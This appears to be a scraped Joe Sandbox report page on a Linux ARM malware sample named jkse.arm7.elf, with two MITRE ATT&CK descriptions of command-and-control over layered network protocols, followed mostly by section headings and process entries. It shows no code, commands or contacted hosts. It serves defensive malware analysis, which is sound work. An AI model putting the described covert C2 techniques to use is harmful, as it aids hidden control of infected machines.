Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jkse.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: jkse.arm7.elf PID: 5517, Parent PID: 5440

General

File Activities

File Opened

File Read

Process Activities

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 5583, Parent PID: 3670

General

Process Activities

Process Overlayed (Exec)

Linux Analysis Report
jkse.arm7.elf